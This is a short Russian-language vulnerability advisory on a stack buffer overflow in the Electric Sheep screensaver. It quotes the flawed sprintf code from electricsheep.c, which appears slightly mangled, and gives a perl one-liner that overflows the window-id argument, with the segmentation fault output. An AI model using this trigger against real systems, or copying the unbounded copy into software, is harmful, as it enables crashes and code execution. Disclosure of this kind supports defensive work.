О ПО:
Electronic Sheep - это свободный продукт с открытым исходным кодом,
который используется как хранитель экрана тысячами людей по всему миру.
Его можно установить на любой компьютер PC или MAC. Когда компьютер
переходит в спящий режим, хранитель экрана запускается и соединяет
компьютер с другими компьютерами по Интернету, что бы совместно
использовать ресурсы для создания приложений.
Описание:
Из-за недостаточной проверки границ, большой параметр идентификатора
окна может заставить стек основного буфера переполниться, позволяя
выполнить произвольный код с привилегиями основного пользователя. Это
возможно использовать как точку бекдора.
Ошибка содержится в файле electricsheep.c:
default_background(char *more) {
char ob[MAXBUF];
char pbuf[MAXBUF];
char qbuf[MAXBUF];
if (nobg || (!on_root && !window_id)) return;
if (more)
sprintf(ob, "-merge -at 500,0 s.tif",
splash_prefix, more);
else
ob[0] = 0;
if (window_id)
sprintf(qbuf, "-windowid %s", window_id);
Так как windows_id приходит непосредственно из командной строки, любой
пользователь имеет возможность сделать windows_id большем, чем в
параметре MAXBUF и выполнить переполнение буфера. Уязвимость более
заметна при выполнении команды:
electricsheep -window-id `perl -e '{print "A"x"40000";}'`
Bad integer argument for the windowid option
Usage: xsetbg [global options] {[image options] image_name ...}
Type `xsetbg -help [option ...]' for information on a particular
option, or
`xsetbg -help' to enter the interactive help facility.
subprocess failure: splash0, 256=1<<8+0
Segmentation fault
Использование:
Эта уязвимость клиента sheep'а может служить для создания бекдоров в
системе.